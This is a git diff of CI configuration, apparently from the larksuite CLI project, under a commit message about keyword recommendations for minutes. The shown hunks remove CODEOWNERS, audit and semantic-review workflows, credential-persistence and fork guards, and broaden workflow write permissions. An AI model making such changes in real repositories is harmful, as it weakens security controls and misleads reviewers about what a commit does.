feat: recommend keywords for minutes

Co-authored-by: Cursor <cursoragent@cursor.com>
2026-07-10 02:54:04 +08:00 · 2026-05-18 19:08:35 +08:00
1855 changed files with 27346 additions and 306053 deletions
--- a/.github/CODEOWNERS
+++ b/.github/CODEOWNERS
@@ -1,30 +0,0 @@
-/internal/ @liangshuo-1
-
-# Last match wins: existing domains below are exempt, only new skills/ entries need review.
-/skills/ @liangshuo-1
-/skills/lark-approval/
-/skills/lark-apps/
-/skills/lark-attendance/
-/skills/lark-base/
-/skills/lark-calendar/
-/skills/lark-contact/
-/skills/lark-doc/
-/skills/lark-drive/
-/skills/lark-event/
-/skills/lark-im/
-/skills/lark-mail/
-/skills/lark-markdown/
-/skills/lark-minutes/
-/skills/lark-okr/
-/skills/lark-openapi-explorer/
-/skills/lark-shared/
-/skills/lark-sheets/
-/skills/lark-skill-maker/
-/skills/lark-slides/
-/skills/lark-task/
-/skills/lark-vc/
-/skills/lark-vc-agent/
-/skills/lark-whiteboard/
-/skills/lark-wiki/
-/skills/lark-workflow-meeting-summary/
-/skills/lark-workflow-standup-report/
--- a/.github/pull_request_template.md
+++ b/.github/pull_request_template.md
@@ -9,7 +9,7 @@
 ## Test Plan
 <!-- Describe how this change was verified. -->
 - [ ] Unit tests pass
- [ ] Manual local verification confirms the `lark-cli <domain> <command>` flow works as expected
+- [ ] Manual local verification confirms the `lark xxx` command works as expected

 ## Related Issues
 <!-- Link related issues. Use Closes/Fixes to close them automatically. -->
--- a/.github/workflows/ci.yml
+++ b/.github/workflows/ci.yml
@@ -5,12 +5,13 @@ on:
    branches: [main]
  pull_request:
    branches: [main]
-    types: [opened, synchronize, reopened, edited]
  workflow_dispatch:

 permissions:
  contents: read
  actions: read
+  checks: write
+  pull-requests: write

 jobs:
  # ── Layer 1: Fast Gate ─────────────────────────────────────────────
@@ -71,7 +72,6 @@ jobs:
      - uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd # v5
        with:
          fetch-depth: 0
-          persist-credentials: false
      - uses: actions/setup-go@4a3601121dd01d1626a1e23e37211e3254c1c06c # v6
        with:
          go-version-file: go.mod
@@ -80,84 +80,8 @@ jobs:
          python-version: '3.x'
      - name: Fetch meta data
        run: python3 scripts/fetch_meta.py
-      - name: Resolve changed-from baseline
-        env:
-          QUALITY_GATE_CHANGED_FROM: ${{ github.event.pull_request.base.sha || github.event.before || 'origin/main' }}
-        run: echo "QUALITY_GATE_CHANGED_FROM=$(bash scripts/resolve-changed-from.sh)" >> "$GITHUB_ENV"
      - name: Run golangci-lint
-        run: go run github.com/golangci/golangci-lint/v2/cmd/golangci-lint@v2.1.6 run --new-from-rev="$QUALITY_GATE_CHANGED_FROM"
-      - name: Run errs/ lint guards (lintcheck)
-        run: go run -C lint . --changed-from "$QUALITY_GATE_CHANGED_FROM" ..
-
-  script-test:
-    needs: fast-gate
-    runs-on: ubuntu-latest
-    steps:
-      - uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd # v5
-        with:
-          fetch-depth: 0
-          persist-credentials: false
-      - uses: actions/setup-go@4a3601121dd01d1626a1e23e37211e3254c1c06c # v6
-        with:
-          go-version-file: go.mod
-      - uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4
-        with:
-          node-version: '22'
-      - name: Run script tests
-        run: make script-test
-
-  deterministic-gate:
-    needs: fast-gate
-    runs-on: ubuntu-latest
-    permissions:
-      contents: read
-      actions: read
-    steps:
-      - uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd # v5
-        with:
-          fetch-depth: 0
-      - uses: actions/setup-go@4a3601121dd01d1626a1e23e37211e3254c1c06c # v6
-        with:
-          go-version-file: go.mod
-      - uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405 # v6
-        with:
-          python-version: '3.x'
-      - name: Fetch meta data
-        run: python3 scripts/fetch_meta.py
-      - name: Resolve changed-from baseline
-        env:
-          QUALITY_GATE_CHANGED_FROM: ${{ github.event.pull_request.base.sha || github.event.before || 'origin/main' }}
-        run: echo "QUALITY_GATE_CHANGED_FROM=$(bash scripts/resolve-changed-from.sh)" >> "$GITHUB_ENV"
-      - name: Write public content metadata
-        if: ${{ github.event_name == 'pull_request' }}
-        env:
-          PR_TITLE: ${{ github.event.pull_request.title }}
-          PR_BODY: ${{ github.event.pull_request.body }}
-          PR_BRANCH: ${{ github.head_ref }}
-        run: |
-          mkdir -p .tmp/quality-gate
-          python3 - <<'PY'
-          import json
-          import os
-
-          with open(".tmp/quality-gate/public-content-metadata.json", "w", encoding="utf-8") as f:
-              json.dump({
-                  "title": os.environ.get("PR_TITLE", ""),
-                  "body": os.environ.get("PR_BODY", ""),
-                  "branch": os.environ.get("PR_BRANCH", ""),
-              }, f)
-              f.write("\n")
-          PY
-      - name: Run CLI deterministic gate
-        run: PUBLIC_CONTENT_METADATA=.tmp/quality-gate/public-content-metadata.json make quality-gate
-      - name: Upload quality gate facts
-        if: ${{ always() && github.event_name == 'pull_request' }}
-        uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02 # v4
-        with:
-          name: quality-gate-facts-${{ github.event.pull_request.base.sha }}-${{ github.event.pull_request.head.sha }}
-          path: .tmp/quality-gate/facts.json
-          if-no-files-found: error
-          retention-days: 7
+        run: go run github.com/golangci/golangci-lint/v2/cmd/golangci-lint@v2.1.6 run --new-from-rev=origin/main

  coverage:
    needs: fast-gate
@@ -177,7 +101,6 @@ jobs:
          packages=$(go list ./... | grep -v '^github.com/larksuite/cli/tests/cli_e2e$' | grep -v '^github.com/larksuite/cli/tests/cli_e2e/')
          go test -race -coverprofile=coverage.txt -covermode=atomic $packages
      - name: Upload coverage to Codecov
-        if: ${{ github.event_name != 'pull_request' || !github.event.pull_request.head.repo.fork }}
        uses: codecov/codecov-action@3f20e214133d0983f9a10f3d63b0faf9241a3daa # v6
        with:
          files: coverage.txt
@@ -259,7 +182,7 @@ jobs:

  # ── Layer 3: E2E Gate ──────────────────────────────────────────────
  e2e-dry-run:
-    needs: [unit-test, lint, script-test, deterministic-gate]
+    needs: [unit-test, lint]
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd # v5
@@ -280,12 +203,9 @@ jobs:
        run: go test -v -count=1 -timeout=5m ./tests/cli_e2e/... -run 'DryRun|Regression'

  e2e-live:
-    needs: [unit-test, lint, script-test, deterministic-gate]
+    needs: [unit-test, lint]
    if: ${{ github.event_name != 'pull_request' || !github.event.pull_request.head.repo.fork }}
    runs-on: ubuntu-latest
-    permissions:
-      contents: read
-      checks: write
    env:
      TEST_BOT1_APP_ID: ${{ secrets.TEST_BOT1_APP_ID }}
      TEST_BOT1_APP_SECRET: ${{ secrets.TEST_BOT1_APP_SECRET }}
@@ -332,9 +252,6 @@ jobs:
  # ── Layer 4: Security & Compliance (parallel with L2-L3) ──────────
  security:
    runs-on: ubuntu-latest
-    permissions:
-      contents: read
-      pull-requests: read
    steps:
      - uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd # v5
        with:
@@ -372,7 +289,7 @@ jobs:
  # ── Results Gate (single required check for branch protection) ─────
  results:
    if: ${{ always() }}
-    needs: [fast-gate, unit-test, lint, script-test, deterministic-gate, coverage, deadcode, e2e-dry-run, e2e-live, security, license-header]
+    needs: [fast-gate, unit-test, lint, coverage, deadcode, e2e-dry-run, e2e-live, security, license-header]
    runs-on: ubuntu-latest
    steps:
      - name: Evaluate results
@@ -384,8 +301,6 @@ jobs:
          echo "| L1 | fast-gate | ${{ needs.fast-gate.result }} |" >> $GITHUB_STEP_SUMMARY
          echo "| L2 | unit-test | ${{ needs.unit-test.result }} |" >> $GITHUB_STEP_SUMMARY
          echo "| L2 | lint | ${{ needs.lint.result }} |" >> $GITHUB_STEP_SUMMARY
-          echo "| L2 | script-test | ${{ needs.script-test.result }} |" >> $GITHUB_STEP_SUMMARY
-          echo "| L2 | deterministic-gate | ${{ needs.deterministic-gate.result }} |" >> $GITHUB_STEP_SUMMARY
          echo "| L2 | coverage | ${{ needs.coverage.result }} |" >> $GITHUB_STEP_SUMMARY
          echo "| L2 | deadcode | ${{ needs.deadcode.result }} |" >> $GITHUB_STEP_SUMMARY
          echo "| L3 | e2e-dry-run | ${{ needs.e2e-dry-run.result }} |" >> $GITHUB_STEP_SUMMARY
@@ -401,8 +316,6 @@ jobs:
            "${{ needs.fast-gate.result }}" \
            "${{ needs.unit-test.result }}" \
            "${{ needs.lint.result }}" \
-            "${{ needs.script-test.result }}" \
-            "${{ needs.deterministic-gate.result }}" \
            "${{ needs.coverage.result }}" \
            "${{ needs.deadcode.result }}" \
            "${{ needs.e2e-dry-run.result }}" \
--- a/.github/workflows/comment-audit.yml
+++ b/.github/workflows/comment-audit.yml
@@ -1,28 +0,0 @@
-name: Comment Audit
-
-on:
-  issue_comment:
-    types: [created, edited]
-  pull_request_review:
-    types: [submitted, edited]
-  pull_request_review_comment:
-    types: [created, edited]
-
-permissions:
-  contents: read
-
-jobs:
-  public-content-comment-audit:
-    runs-on: ubuntu-latest
-    steps:
-      - uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd # v5
-        with:
-          persist-credentials: false
-      - uses: actions/setup-go@4a3601121dd01d1626a1e23e37211e3254c1c06c # v6
-        with:
-          go-version-file: go.mod
-      - name: Post-publication comment audit
-        run: |
-          mkdir -p .tmp/comment-audit
-          cp "$GITHUB_EVENT_PATH" .tmp/comment-audit/event.json
-          go run ./internal/qualitygate/cmd/comment-audit --event .tmp/comment-audit/event.json --kind "$GITHUB_EVENT_NAME"
--- a/.github/workflows/semantic-review.yml
+++ b/.github/workflows/semantic-review.yml
@@ -1,611 +0,0 @@
-name: Semantic Review
-
-on:
-  workflow_run:
-    workflows: ["CI"]
-    types: [completed]
-
-permissions:
-  actions: read
-  contents: read
-
-jobs:
-  pr-quality-summary:
-    if: github.event.workflow_run.event == 'pull_request'
-    runs-on: ubuntu-latest
-    permissions:
-      actions: read
-      contents: read
-      issues: write
-      pull-requests: write
-    steps:
-      - name: Verify workflow run and pull request for summary
-        id: pr
-        uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8.0.0
-        with:
-          script: |
-            const run = context.payload.workflow_run;
-            if (run.name !== "CI") throw new Error(`unexpected workflow name: ${run.name}`);
-            let workflowPath = run.path || "";
-            if (!workflowPath) {
-              const workflowId = Number(run.workflow_id || 0);
-              if (!Number.isInteger(workflowId) || workflowId <= 0) throw new Error("missing workflow id");
-              const { data: workflow } = await github.rest.actions.getWorkflow({
-                owner: context.repo.owner,
-                repo: context.repo.repo,
-                workflow_id: workflowId,
-              });
-              workflowPath = workflow.path || "";
-            }
-            if (workflowPath !== ".github/workflows/ci.yml") throw new Error(`unexpected workflow path: ${workflowPath}`);
-            if (run.event !== "pull_request") throw new Error(`unexpected event: ${run.event}`);
-            if (run.repository.id !== context.payload.repository.id) throw new Error("repository id mismatch");
-            if (run.repository.full_name !== context.payload.repository.full_name) throw new Error("repository name mismatch");
-            if (typeof run.head_sha !== "string" || run.head_sha.length !== 40) throw new Error("invalid head sha");
-            const runPRs = Array.isArray(run.pull_requests) ? run.pull_requests : [];
-            if (runPRs.length > 1) {
-              throw new Error(`ambiguous workflow_run pull request bindings: ${runPRs.length}`);
-            }
-            let prNumber = Number(runPRs[0]?.number || 0);
-            const eventBaseSha = runPRs[0]?.base?.sha || "";
-            const eventHeadSha = runPRs[0]?.head?.sha || "";
-            const targetHeadSha = run.head_sha;
-            if (!/^[a-f0-9]{40}$/i.test(targetHeadSha)) throw new Error("invalid PR head sha");
-            if (eventHeadSha && eventHeadSha.toLowerCase() !== targetHeadSha.toLowerCase()) {
-              core.notice("PR quality summary using workflow_run head_sha because workflow_run pull request head differs from the CI run head");
-            }
-
-            const factsArtifactPattern = /^quality-gate-facts-([a-f0-9]{40})-([a-f0-9]{40})$/i;
-            const { data: artifactData } = await github.rest.actions.listWorkflowRunArtifacts({
-              owner: context.repo.owner,
-              repo: context.repo.repo,
-              run_id: run.id,
-              per_page: 100,
-            });
-            const factsArtifacts = artifactData.artifacts.filter((artifact) => factsArtifactPattern.test(artifact.name));
-            let factsArtifactName = "";
-            let artifactBaseSha = "";
-            let artifactError = "";
-            if (factsArtifacts.length !== 1) {
-              artifactError = `expected exactly one base-bound quality gate facts artifact, got ${factsArtifacts.length}`;
-            } else {
-              factsArtifactName = factsArtifacts[0].name;
-              const [, parsedBaseSha, artifactHeadSha] = factsArtifactName.match(factsArtifactPattern);
-              if (artifactHeadSha.toLowerCase() !== targetHeadSha.toLowerCase()) {
-                artifactError = "facts artifact head sha does not match verified PR head sha";
-                factsArtifactName = "";
-              } else {
-                artifactBaseSha = parsedBaseSha;
-                if (eventBaseSha && parsedBaseSha.toLowerCase() !== eventBaseSha.toLowerCase()) {
-                  core.notice("PR quality summary using facts artifact base because workflow_run pull request base differs from the CI facts artifact base");
-                }
-              }
-            }
-            if (!prNumber) {
-              const { data: associatedPRs } = await github.rest.repos.listPullRequestsAssociatedWithCommit({
-                owner: context.repo.owner,
-                repo: context.repo.repo,
-                commit_sha: targetHeadSha,
-              });
-              const candidatePRs = associatedPRs.filter((candidate) =>
-                candidate.base?.repo?.id === context.payload.repository.id &&
-                candidate.head?.sha === targetHeadSha
-              );
-              const openCandidatePRs = candidatePRs.filter((candidate) => candidate.state === "open");
-              if (openCandidatePRs.length > 1) {
-                throw new Error(`ambiguous open PRs for workflow_run head ${targetHeadSha}: ${openCandidatePRs.length}`);
-              }
-              if (openCandidatePRs.length === 1) {
-                prNumber = openCandidatePRs[0].number;
-              } else if (candidatePRs.length > 0) {
-                core.notice("PR quality summary skipped: workflow_run target PR is no longer open");
-                core.setOutput("stale", "true");
-                return;
-              }
-            }
-            if (!prNumber) {
-              const candidatePRs = await github.paginate(github.rest.pulls.list, {
-                owner: context.repo.owner,
-                repo: context.repo.repo,
-                state: "all",
-                per_page: 100,
-              }).then((prs) => prs.filter((candidate) =>
-                candidate.base?.repo?.id === context.payload.repository.id &&
-                candidate.head?.sha === targetHeadSha
-              ));
-              const openCandidatePRs = candidatePRs.filter((candidate) => candidate.state === "open");
-              if (openCandidatePRs.length > 1) {
-                throw new Error(`ambiguous open PRs from pull list fallback for workflow_run head ${targetHeadSha}: ${openCandidatePRs.length}`);
-              }
-              if (openCandidatePRs.length === 1) {
-                prNumber = openCandidatePRs[0].number;
-              } else if (candidatePRs.length > 0) {
-                core.notice("PR quality summary skipped: workflow_run target PR is no longer open");
-                core.setOutput("stale", "true");
-                return;
-              } else {
-                throw new Error(`expected one open PR from pull list fallback for workflow_run head ${targetHeadSha}, got ${candidatePRs.length}`);
-              }
-            }
-            if (!Number.isInteger(prNumber) || prNumber <= 0) throw new Error("missing pull request binding");
-            const { data: pr } = await github.rest.pulls.get({
-              owner: context.repo.owner,
-              repo: context.repo.repo,
-              pull_number: prNumber,
-            });
-            if (pr.base.repo.id !== context.payload.repository.id) throw new Error("PR base repo mismatch");
-            if (pr.state !== "open") {
-              core.notice("PR quality summary skipped: workflow_run target PR is no longer open");
-              core.setOutput("stale", "true");
-              return;
-            }
-            if (pr.head.sha !== targetHeadSha) {
-              core.notice("PR quality summary skipped: workflow_run is stale for this PR head");
-              core.setOutput("stale", "true");
-              return;
-            }
-            const baseSha = artifactBaseSha || eventBaseSha || pr.base.sha;
-            if (!/^[a-f0-9]{40}$/i.test(baseSha)) throw new Error("invalid PR base sha");
-            if ((eventBaseSha || artifactBaseSha) && pr.base.sha !== baseSha) {
-              core.notice("PR quality summary skipped: workflow_run is stale for this PR base");
-              core.setOutput("stale", "true");
-              return;
-            }
-            if (artifactError) {
-              core.warning(`quality gate facts artifact binding is unavailable: ${artifactError}`);
-            }
-            core.setOutput("pr_number", String(prNumber));
-            core.setOutput("head_sha", targetHeadSha);
-            core.setOutput("base_sha", baseSha);
-            core.setOutput("run_id", String(run.id));
-            core.setOutput("facts_artifact_name", factsArtifactName);
-            core.setOutput("artifact_error", artifactError);
-            core.setOutput("stale", "false");
-
-      - uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd # v5
-        id: checkout
-        if: ${{ steps.pr.outputs.stale != 'true' }}
-        with:
-          ref: ${{ steps.pr.outputs.base_sha }}
-          persist-credentials: false
-
-      - name: Verify summary facts artifact metadata
-        id: artifact
-        if: ${{ steps.pr.outputs.stale != 'true' && steps.pr.outputs.facts_artifact_name != '' }}
-        uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8.0.0
-        with:
-          script: |
-            const run = context.payload.workflow_run;
-            const factsArtifactName = "${{ steps.pr.outputs.facts_artifact_name }}";
-            const { data } = await github.rest.actions.listWorkflowRunArtifacts({
-              owner: context.repo.owner,
-              repo: context.repo.repo,
-              run_id: run.id,
-              per_page: 100,
-            });
-            const artifacts = data.artifacts.filter(a => a.name === factsArtifactName);
-            if (artifacts.length !== 1) throw new Error(`expected exactly one quality-gate-facts artifact, got ${artifacts.length}`);
-            const artifact = artifacts[0];
-            if (artifact.expired) throw new Error("quality-gate-facts artifact expired");
-            if (artifact.size_in_bytes <= 0 || artifact.size_in_bytes > 5 * 1024 * 1024) {
-              throw new Error(`invalid artifact size: ${artifact.size_in_bytes}`);
-            }
-            if (!artifact.digest) throw new Error("facts artifact digest is missing from GitHub API response");
-            core.setOutput("artifact_id", String(artifact.id));
-            core.setOutput("artifact_digest", artifact.digest);
-
-      - name: Download facts artifact zip
-        if: ${{ steps.pr.outputs.stale != 'true' && steps.artifact.outputs.artifact_id != '' }}
-        uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8.0.0
-        id: download
-        with:
-          script: |
-            const fs = require("fs");
-            const path = require("path");
-            const artifactId = Number("${{ steps.artifact.outputs.artifact_id }}");
-            if (!Number.isInteger(artifactId) || artifactId <= 0) throw new Error("invalid artifact id");
-            const { data } = await github.rest.actions.downloadArtifact({
-              owner: context.repo.owner,
-              repo: context.repo.repo,
-              artifact_id: artifactId,
-              archive_format: "zip",
-            });
-            const zipPath = path.join(process.env.RUNNER_TEMP, "quality-gate-facts.zip");
-            fs.writeFileSync(zipPath, Buffer.from(data));
-            core.setOutput("zip_path", zipPath);
-
-      - name: Verify and extract summary facts artifact
-        if: ${{ steps.pr.outputs.stale != 'true' && steps.download.outputs.zip_path != '' }}
-        env:
-          SEMANTIC_REVIEW_BLOCK: ${{ vars.SEMANTIC_REVIEW_BLOCK }}
-          SEMANTIC_REVIEW_DECISION_OUT: decision.json
-          SEMANTIC_REVIEW_MARKDOWN_OUT: semantic-review.md
-        run: node scripts/semantic-review-verify-artifact.js '${{ steps.download.outputs.zip_path }}' facts.json '${{ steps.artifact.outputs.artifact_digest }}'
-
-      - name: Publish PR quality summary
-        if: ${{ always() && steps.pr.outputs.stale != 'true' && steps.checkout.outcome == 'success' }}
-        uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8.0.0
-        env:
-          CI_QUALITY_SUMMARY_HEAD_SHA: ${{ steps.pr.outputs.head_sha }}
-          CI_QUALITY_SUMMARY_BASE_SHA: ${{ steps.pr.outputs.base_sha }}
-          CI_QUALITY_SUMMARY_PR_NUMBER: ${{ steps.pr.outputs.pr_number }}
-          CI_QUALITY_SUMMARY_RUN_ID: ${{ steps.pr.outputs.run_id }}
-          CI_QUALITY_SUMMARY_ARTIFACT_ERROR: ${{ steps.pr.outputs.artifact_error }}
-        with:
-          script: |
-            const { publish } = require("./scripts/ci-quality-summary-publish.js");
-            await publish({ github, context, core });
-
-  semantic-review:
-    needs: pr-quality-summary
-    if: always() && github.event.workflow_run.conclusion == 'success' && github.event.workflow_run.event == 'pull_request'
-    runs-on: ubuntu-latest
-    permissions:
-      actions: read
-      checks: write
-      contents: read
-      issues: write
-      pull-requests: write
-    steps:
-      - name: Verify workflow run and pull request
-        id: pr
-        uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8.0.0
-        with:
-          script: |
-            const run = context.payload.workflow_run;
-            if (run.name !== "CI") throw new Error(`unexpected workflow name: ${run.name}`);
-            let workflowPath = run.path || "";
-            if (!workflowPath) {
-              const workflowId = Number(run.workflow_id || 0);
-              if (!Number.isInteger(workflowId) || workflowId <= 0) throw new Error("missing workflow id");
-              const { data: workflow } = await github.rest.actions.getWorkflow({
-                owner: context.repo.owner,
-                repo: context.repo.repo,
-                workflow_id: workflowId,
-              });
-              workflowPath = workflow.path || "";
-            }
-            if (workflowPath !== ".github/workflows/ci.yml") throw new Error(`unexpected workflow path: ${workflowPath}`);
-            if (run.event !== "pull_request") throw new Error(`unexpected event: ${run.event}`);
-            if (run.conclusion !== "success") throw new Error(`unexpected conclusion: ${run.conclusion}`);
-            if (run.repository.id !== context.payload.repository.id) throw new Error("repository id mismatch");
-            if (run.repository.full_name !== context.payload.repository.full_name) throw new Error("repository name mismatch");
-            if (typeof run.head_sha !== "string" || run.head_sha.length !== 40) throw new Error("invalid head sha");
-            const runPRs = Array.isArray(run.pull_requests) ? run.pull_requests : [];
-            if (runPRs.length > 1) {
-              throw new Error(`ambiguous workflow_run pull request bindings: ${runPRs.length}`);
-            }
-            let prNumber = Number(runPRs[0]?.number || 0);
-            const eventBaseSha = runPRs[0]?.base?.sha || "";
-            const eventHeadSha = runPRs[0]?.head?.sha || "";
-            const targetHeadSha = run.head_sha;
-            if (!/^[a-f0-9]{40}$/i.test(targetHeadSha)) throw new Error("invalid PR head sha");
-            if (eventHeadSha && eventHeadSha.toLowerCase() !== targetHeadSha.toLowerCase()) {
-              core.notice("semantic review using workflow_run head_sha because workflow_run pull request head differs from the CI run head");
-            }
-
-            const factsArtifactPattern = /^quality-gate-facts-([a-f0-9]{40})-([a-f0-9]{40})$/i;
-            const { data: artifactData } = await github.rest.actions.listWorkflowRunArtifacts({
-              owner: context.repo.owner,
-              repo: context.repo.repo,
-              run_id: run.id,
-              per_page: 100,
-            });
-            const factsArtifacts = artifactData.artifacts.filter((artifact) => factsArtifactPattern.test(artifact.name));
-            let factsArtifactName = "";
-            let artifactBaseSha = "";
-            let artifactError = "";
-            if (factsArtifacts.length !== 1) {
-              artifactError = `expected exactly one base-bound quality gate facts artifact, got ${factsArtifacts.length}`;
-            } else {
-              factsArtifactName = factsArtifacts[0].name;
-              const [, parsedBaseSha, artifactHeadSha] = factsArtifactName.match(factsArtifactPattern);
-              if (artifactHeadSha.toLowerCase() !== targetHeadSha.toLowerCase()) {
-                artifactError = "facts artifact head sha does not match verified PR head sha";
-                factsArtifactName = "";
-              } else {
-                artifactBaseSha = parsedBaseSha;
-                if (eventBaseSha && parsedBaseSha.toLowerCase() !== eventBaseSha.toLowerCase()) {
-                  core.notice("semantic review using facts artifact base because workflow_run pull request base differs from the CI facts artifact base");
-                }
-              }
-            }
-            if (!prNumber) {
-              const { data: associatedPRs } = await github.rest.repos.listPullRequestsAssociatedWithCommit({
-                owner: context.repo.owner,
-                repo: context.repo.repo,
-                commit_sha: targetHeadSha,
-              });
-              const candidatePRs = associatedPRs.filter((candidate) =>
-                candidate.base?.repo?.id === context.payload.repository.id &&
-                candidate.head?.sha === targetHeadSha
-              );
-              const openCandidatePRs = candidatePRs.filter((candidate) => candidate.state === "open");
-              if (openCandidatePRs.length > 1) {
-                throw new Error(`ambiguous open PRs for workflow_run head ${targetHeadSha}: ${openCandidatePRs.length}`);
-              }
-              if (openCandidatePRs.length === 1) {
-                prNumber = openCandidatePRs[0].number;
-              } else if (candidatePRs.length > 0) {
-                core.notice("semantic review skipped: workflow_run target PR is no longer open");
-                core.setOutput("stale", "true");
-                return;
-              }
-            }
-            if (!prNumber) {
-              const candidatePRs = await github.paginate(github.rest.pulls.list, {
-                owner: context.repo.owner,
-                repo: context.repo.repo,
-                state: "all",
-                per_page: 100,
-              }).then((prs) => prs.filter((candidate) =>
-                candidate.base?.repo?.id === context.payload.repository.id &&
-                candidate.head?.sha === targetHeadSha
-              ));
-              const openCandidatePRs = candidatePRs.filter((candidate) => candidate.state === "open");
-              if (openCandidatePRs.length > 1) {
-                throw new Error(`ambiguous open PRs from pull list fallback for workflow_run head ${targetHeadSha}: ${openCandidatePRs.length}`);
-              }
-              if (openCandidatePRs.length === 1) {
-                prNumber = openCandidatePRs[0].number;
-              } else if (candidatePRs.length > 0) {
-                core.notice("semantic review skipped: workflow_run target PR is no longer open");
-                core.setOutput("stale", "true");
-                return;
-              } else {
-                throw new Error(`expected one open PR from pull list fallback for workflow_run head ${targetHeadSha}, got ${candidatePRs.length}`);
-              }
-            }
-            if (!Number.isInteger(prNumber) || prNumber <= 0) throw new Error("missing pull request binding");
-            const { data: pr } = await github.rest.pulls.get({
-              owner: context.repo.owner,
-              repo: context.repo.repo,
-              pull_number: prNumber,
-            });
-            if (pr.base.repo.id !== context.payload.repository.id) throw new Error("PR base repo mismatch");
-            if (pr.state !== "open") {
-              core.notice("semantic review skipped: workflow_run target PR is no longer open");
-              core.setOutput("stale", "true");
-              return;
-            }
-            if (!pr.head.repo) {
-              core.notice("semantic review skipped: workflow_run target PR head repository is unavailable");
-              core.setOutput("stale", "true");
-              return;
-            }
-            if (pr.head.sha !== targetHeadSha) {
-              core.notice("semantic review skipped: workflow_run is stale for this PR head");
-              core.setOutput("stale", "true");
-              return;
-            }
-            const baseSha = artifactBaseSha || eventBaseSha || pr.base.sha;
-            if (!/^[a-f0-9]{40}$/i.test(baseSha)) throw new Error("invalid PR base sha");
-            if ((eventBaseSha || artifactBaseSha) && pr.base.sha !== baseSha) {
-              core.notice("semantic review skipped: workflow_run is stale for this PR base");
-              core.setOutput("stale", "true");
-              return;
-            }
-            if (artifactError) {
-              core.warning(`semantic review facts artifact binding is unavailable: ${artifactError}`);
-            }
-            core.setOutput("pr_number", String(prNumber));
-            core.setOutput("head_sha", targetHeadSha);
-            core.setOutput("base_sha", baseSha);
-            core.setOutput("head_owner", pr.head.repo.owner.login);
-            core.setOutput("head_repo", pr.head.repo.name);
-            core.setOutput("head_repo_id", String(pr.head.repo.id));
-            core.setOutput("head_is_base_repo", pr.head.repo.id === context.payload.repository.id ? "true" : "false");
-            core.setOutput("run_id", String(run.id));
-            core.setOutput("facts_artifact_name", factsArtifactName);
-            core.setOutput("artifact_error", artifactError);
-            core.setOutput("stale", "false");
-
-      - uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd # v5
-        id: checkout
-        if: ${{ steps.pr.outputs.stale != 'true' }}
-        with:
-          ref: ${{ steps.pr.outputs.base_sha }}
-          persist-credentials: false
-
-      - name: Publish pre-checkout semantic review failure
-        if: ${{ failure() && steps.pr.outputs.stale != 'true' && steps.checkout.outcome != 'success' && steps.pr.outputs.head_sha != '' && steps.pr.outputs.pr_number != '' }}
-        uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8.0.0
-        env:
-          SEMANTIC_REVIEW_BLOCK: ${{ vars.SEMANTIC_REVIEW_BLOCK }}
-          SEMANTIC_REVIEW_HEAD_SHA: ${{ steps.pr.outputs.head_sha }}
-          SEMANTIC_REVIEW_BASE_SHA: ${{ steps.pr.outputs.base_sha }}
-          SEMANTIC_REVIEW_PR_NUMBER: ${{ steps.pr.outputs.pr_number }}
-          SEMANTIC_REVIEW_RUN_ID: ${{ steps.pr.outputs.run_id }}
-        with:
-          script: |
-            const runtimeBlockMode = process.env.SEMANTIC_REVIEW_BLOCK === "true";
-            const pr = Number(process.env.SEMANTIC_REVIEW_PR_NUMBER || 0);
-            const headSha = process.env.SEMANTIC_REVIEW_HEAD_SHA || "";
-            const baseSha = process.env.SEMANTIC_REVIEW_BASE_SHA || "";
-            if (!Number.isInteger(pr) || pr <= 0 || !/^[a-f0-9]{40}$/i.test(headSha) || !/^[a-f0-9]{40}$/i.test(baseSha)) {
-              throw new Error("missing verified semantic review target");
-            }
-            const { data: pull } = await github.rest.pulls.get({
-              owner: context.repo.owner,
-              repo: context.repo.repo,
-              pull_number: pr,
-            });
-            if (pull.state !== "open") {
-              core.notice("semantic review skipped infrastructure failure check: PR is no longer open");
-              return;
-            }
-            if (pull.head.sha !== headSha) {
-              core.notice("semantic review skipped infrastructure failure check: PR head changed");
-              return;
-            }
-            if (pull.base.sha !== baseSha) {
-              core.notice("semantic review skipped infrastructure failure check: PR base changed");
-              return;
-            }
-            if (pull.base.repo.id !== context.payload.repository.id) {
-              throw new Error("PR base repo mismatch before infrastructure failure check");
-            }
-            await github.rest.checks.create({
-              owner: context.repo.owner,
-              repo: context.repo.repo,
-              name: runtimeBlockMode ? "semantic-review/result" : "semantic-review/observe",
-              head_sha: headSha,
-              status: "completed",
-              conclusion: runtimeBlockMode ? "failure" : "neutral",
-              output: {
-                title: "Semantic review infrastructure failure",
-                summary: "Semantic review could not checkout the verified base commit. Inspect the workflow logs before relying on semantic review output.",
-              },
-            });
-
-      - uses: actions/setup-go@4a3601121dd01d1626a1e23e37211e3254c1c06c # v6
-        if: ${{ steps.pr.outputs.stale != 'true' }}
-        with:
-          go-version-file: go.mod
-
-      - name: Verify semantic facts artifact metadata
-        id: artifact
-        if: ${{ steps.pr.outputs.stale != 'true' }}
-        uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8.0.0
-        with:
-          script: |
-            const run = context.payload.workflow_run;
-            const factsArtifactName = "${{ steps.pr.outputs.facts_artifact_name }}";
-            if (!/^quality-gate-facts-[a-f0-9]{40}-[a-f0-9]{40}$/i.test(factsArtifactName)) {
-              throw new Error("missing verified facts artifact binding");
-            }
-            const { data } = await github.rest.actions.listWorkflowRunArtifacts({
-              owner: context.repo.owner,
-              repo: context.repo.repo,
-              run_id: run.id,
-              per_page: 100,
-            });
